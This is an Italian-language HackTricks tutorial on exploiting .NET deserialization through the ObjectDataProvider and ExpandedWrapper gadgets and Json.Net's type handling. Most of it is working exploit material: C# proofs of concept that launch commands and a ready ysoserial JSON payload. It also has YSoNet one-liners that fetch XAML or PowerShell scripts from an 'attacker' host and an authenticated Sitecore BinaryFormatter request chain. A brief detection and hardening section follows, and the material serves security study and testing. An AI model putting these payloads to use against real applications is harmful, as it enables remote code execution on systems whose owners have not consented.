Deserializzazione .Net di base (ObjectDataProvider gadget, ExpandedWrapper, e Json.Net)
Reading time: 10 minutes
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
Questo post è dedicato a capire come il gadget ObjectDataProvider viene sfruttato per ottenere RCE e in che modo le librerie di serialization Json.Net e xmlSerializer possono essere abusate con quel gadget.
ObjectDataProvider Gadget
Dalla documentazione: the ObjectDataProvider Class Wraps and creates an object that you can use as a binding source.
Sì, è una spiegazione strana, quindi vediamo cosa ha di tanto interessante questa classe: questa classe permette di wrappare un oggetto arbitrario, usare MethodParameters per impostare parametri arbitrari, e poi usare MethodName per chiamare una funzione arbitraria dell'oggetto arbitrario dichiarato usando i parametri arbitrari.
Pertanto, l'oggetto arbitrario eseguirà una funzione con parametri durante la deserializzazione.
Come è possibile
Lo namespace System.Windows.Data, presente all'interno di PresentationFramework.dll in C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF
, è dove ObjectDataProvider è definito e implementato.
Usando dnSpy puoi ispezionare il codice della classe che ci interessa. Nell'immagine sotto vediamo il codice di PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Method name
Come puoi notare quando MethodName
viene impostato viene chiamato base.Refresh()
, diamo un'occhiata a cosa fa:
Ok, continuiamo a vedere cosa fa this.BeginQuery()
. BeginQuery
è overrideato da ObjectDataProvider
e questo è ciò che fa:
Nota che alla fine del codice chiama this.QueryWorke(null)
. Vediamo cosa esegue:
Nota che questo non è il codice completo della funzione QueryWorker
ma mostra la parte interessante: il codice chiama this.InvokeMethodOnInstance(out ex);
questa è la riga dove viene invocato il metodo impostato.
Se vuoi verificare che semplicemente impostando il MethodName verrà eseguito, puoi eseguire questo codice:
using System.Windows.Data;
using System.Diagnostics;
namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ObjectDataProvider myODP = new ObjectDataProvider();
myODP.ObjectType = typeof(Process);
myODP.MethodParameters.Add("cmd.exe");
myODP.MethodParameters.Add("/c calc.exe");
myODP.MethodName = "Start";
}
}
}
Nota che è necessario aggiungere come reference C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll per caricare System.Windows.Data
ExpandedWrapper
Usando l'exploit precedente ci saranno casi in cui l'object verrà deserialized as un'istanza di ObjectDataProvider (per esempio nella DotNetNuke vuln, usando XmlSerializer, l'oggetto è stato deserialized usando GetType
). In tal caso non si avrà conoscenza del tipo di oggetto che è incapsulato nell'istanza ObjectDataProvider (ad esempio Process
). Puoi trovare più informazioni sulla DotNetNuke vuln qui.
Questa classe permette di specificare i tipi di oggetto degli oggetti che sono incapsulati in una data istanza. Quindi, questa classe può essere usata per incapsulare un oggetto sorgente (ObjectDataProvider) in un nuovo tipo di oggetto e fornire le proprietà di cui abbiamo bisogno (ObjectDataProvider.MethodName e ObjectDataProvider.MethodParameters).
Questo è molto utile per casi come quello presentato prima, perché saremo in grado di wrap _ObjectDataProvider** inside an **ExpandedWrapper _ instance and when deserialized this class will create the OjectDataProvider object that will execute the function indicated in MethodName.
Puoi verificare questo wrapper con il seguente codice:
using System.Windows.Data;
using System.Diagnostics;
using System.Data.Services.Internal;
namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ExpandedWrapper<Process, ObjectDataProvider> myExpWrap = new ExpandedWrapper<Process, ObjectDataProvider>();
myExpWrap.ProjectedProperty0 = new ObjectDataProvider();
myExpWrap.ProjectedProperty0.ObjectInstance = new Process();
myExpWrap.ProjectedProperty0.MethodParameters.Add("cmd.exe");
myExpWrap.ProjectedProperty0.MethodParameters.Add("/c calc.exe");
myExpWrap.ProjectedProperty0.MethodName = "Start";
}
}
}
Json.Net
Nella pagina ufficiale è indicato che questa libreria permette di Serialize and deserialize any .NET object with Json.NET's powerful JSON serializer. Quindi, se potessimo deserialize the ObjectDataProvider gadget, potremmo causare una RCE semplicemente deserializzando un oggetto.
Esempio Json.Net
Prima di tutto vediamo un esempio di come serialize/deserialize un oggetto usando questa libreria:
using System;
using Newtonsoft.Json;
using System.Diagnostics;
using System.Collections.Generic;
namespace DeserializationTests
{
public class Account
{
public string Email { get; set; }
public bool Active { get; set; }
public DateTime CreatedDate { get; set; }
public IList<string> Roles { get; set; }
}
class Program
{
static void Main(string[] args)
{
Account account = new Account
{
Email = "james@example.com",
Active = true,
CreatedDate = new DateTime(2013, 1, 20, 0, 0, 0, DateTimeKind.Utc),
Roles = new List<string>
{
"User",
"Admin"
}
};
//Serialize the object and print it
string json = JsonConvert.SerializeObject(account);
Console.WriteLine(json);
//{"Email":"james@example.com","Active":true,"CreatedDate":"2013-01-20T00:00:00Z","Roles":["User","Admin"]}
//Deserialize it
Account desaccount = JsonConvert.DeserializeObject<Account>(json);
Console.WriteLine(desaccount.Email);
}
}
}
Abuso di Json.Net
Usando ysoserial.net ho creato l'exploit:
yoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}
In questo codice puoi testare l'exploit, eseguilo e vedrai che viene eseguito calc:
using System;
using System.Text;
using Newtonsoft.Json;
namespace DeserializationTests
{
class Program
{
static void Main(string[] args)
{
//Declare exploit
string userdata = @"{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}";
//Exploit to base64
string userdata_b64 = Convert.ToBase64String(System.Text.Encoding.UTF8.GetBytes(userdata));
//Get data from base64
byte[] userdata_nob64 = Convert.FromBase64String(userdata_b64);
//Deserialize data
string userdata_decoded = Encoding.UTF8.GetString(userdata_nob64);
object obj = JsonConvert.DeserializeObject<object>(userdata_decoded, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
}
}
}
Catene di gadget .NET avanzate (YSoNet & ysoserial.net)
La tecnica ObjectDataProvider + ExpandedWrapper introdotta sopra è solo una delle MOLTE gadget chains che possono essere abusate quando un'applicazione esegue unsafe .NET deserialization. Moderni tool per red-team come YSoNet (e il più vecchio ysoserial.net) automatizzano la creazione di grafi di oggetti maligni pronti all'uso per dozzine di gadget e formati di serializzazione.
Di seguito un riferimento condensato delle catene più utili incluse in YSoNet insieme a una breve spiegazione del loro funzionamento e comandi di esempio per generare i payload.
Catena gadget | Idea chiave / Primitiva | Serializer comuni | YSoNet one-liner |
---|---|---|---|
TypeConfuseDelegate | Corrompe il record DelegateSerializationHolder in modo che, una volta materializzato, il delegate punti a qualsiasi metodo fornito dall'attaccante (es. Process.Start ) | BinaryFormatter , SoapFormatter , NetDataContractSerializer | ysonet.exe TypeConfuseDelegate "calc.exe" > payload.bin |
ActivitySurrogateSelector | Abusa di System.Workflow.ComponentModel.ActivitySurrogateSelector per bypassare il type-filtering di .NET ≥4.8 e invocare direttamente il costruttore di una classe fornita o compilare al volo un file C# | BinaryFormatter , NetDataContractSerializer , LosFormatter | ysonet.exe ActivitySurrogateSelectorFromFile ExploitClass.cs;System.Windows.Forms.dll > payload.dat |
DataSetOldBehaviour | Sfrutta la rappresentazione XML legacy di System.Data.DataSet per istanziare tipi arbitrari riempiendo i campi <ColumnMapping> / <DataType> (opzionalmente falsificando l'assembly con --spoofedAssembly ) | LosFormatter , BinaryFormatter , XmlSerializer | ysonet.exe DataSetOldBehaviour "<DataSet>…</DataSet>" --spoofedAssembly mscorlib > payload.xml |
GetterCompilerResults | Su runtime con WPF abilitato (> .NET 5) concatena getter di proprietà fino a raggiungere System.CodeDom.Compiler.CompilerResults , poi compila o carica una DLL fornita con -c | Json.NET typeless, MessagePack typeless | ysonet.exe GetterCompilerResults -c Loader.dll > payload.json |
ObjectDataProvider (ripasso) | Usa WPF System.Windows.Data.ObjectDataProvider per chiamare un metodo statico arbitrario con argomenti controllati. YSoNet aggiunge una comoda variante --xamlurl per ospitare l'XAML maligno in remoto | BinaryFormatter , Json.NET , XAML , etc. | ysonet.exe ObjectDataProvider --xamlurl http://attacker/o.xaml > payload.xaml |
PSObject (CVE-2017-8565) | Incapsula uno ScriptBlock dentro System.Management.Automation.PSObject che viene eseguito quando PowerShell deserializza l'oggetto | PowerShell remoting, BinaryFormatter | ysonet.exe PSObject "Invoke-WebRequest http://attacker/evil.ps1" > psobj.bin |
tip
All payloads are written to stdout by default, making it trivial to pipe them into other tooling (e.g. ViewState generators, base64 encoders, HTTP clients).
Compilazione / Installazione di YSoNet
Se non sono disponibili binari precompilati sotto Actions ➜ Artifacts / Releases, la seguente one-liner PowerShell imposterà un ambiente di build, clonerà il repository e compilerà tutto in modalità Release:
Set-ExecutionPolicy Bypass -Scope Process -Force;
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072;
iex ((New-Object System.Net.WebClient).DownloadString('https://community.chocolatey.org/install.ps1'));
choco install visualstudio2022community visualstudio2022-workload-nativedesktop msbuild.communitytasks nuget.commandline git --yes;
git clone https://github.com/irsdl/ysonet
cd ysonet
nuget restore ysonet.sln
msbuild ysonet.sln -p:Configuration=Release
Il file compilato ysonet.exe
può quindi essere trovato in ysonet/bin/Release/
.
Rilevamento e hardening
- Rilevare processi figlio inaspettati di
w3wp.exe
,PowerShell.exe
, o di qualsiasi processo che deserializza dati forniti dall'utente (es.MessagePack
,Json.NET
). - Abilitare e applicare il filtraggio dei tipi (
TypeFilterLevel
= Full, customSurrogateSelector
,SerializationBinder
, ecc.) ogni volta che il legacyBinaryFormatter
/NetDataContractSerializer
non può essere rimosso. - Dove possibile migrare a
System.Text.Json
oDataContractJsonSerializer
con convertitori basati su whitelist. - Bloccare il caricamento di assembly WPF pericolosi (
PresentationFramework
,System.Workflow.*
) nei processi web che non dovrebbero mai averne bisogno.
Sink reale: Sitecore convertToRuntimeHtml → BinaryFormatter
Un sink .NET pratico raggiungibile nei flussi autenticati di Sitecore XP Content Editor:
- Sink API:
Sitecore.Convert.Base64ToObject(string)
invocanew BinaryFormatter().Deserialize(...)
. - Percorso di trigger: pipeline
convertToRuntimeHtml
→ConvertWebControls
, che ricerca un elemento sibling conid="{iframeId}_inner"
e legge un attributovalue
che viene trattato come dati serializzati codificati in base64. Il risultato viene convertito in stringa e inserito nell'HTML.
End-to-end minimo (autenticato):
// Load HTML into EditHtml session
POST /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.EditHtml.aspx
Content-Type: application/x-www-form-urlencoded
__PARAMETERS=edithtml:fix&...&ctl00$ctl00$ctl05$Html=
<html>
<iframe id="test" src="poc"></iframe>
<dummy id="test_inner" value="BASE64_BINARYFORMATTER"></dummy>
</html>
// Server returns a handle; visiting FixHtml.aspx?hdl=... triggers deserialization
GET /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=...
- Gadget: qualsiasi catena BinaryFormatter che restituisce una stringa (gli effetti collaterali vengono eseguiti durante la deserializzazione). Vedi YSoNet/ysoserial.net per generare payload.
Per una catena completa che inizia pre‑auth con HTML cache poisoning in Sitecore e porta a questo sink:
Riferimenti
- YSoNet – .NET Deserialization Payload Generator
- ysoserial.net – original PoC tool
- Microsoft – CVE-2017-8565
- watchTowr Labs – Sitecore XP cache poisoning → RCE
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.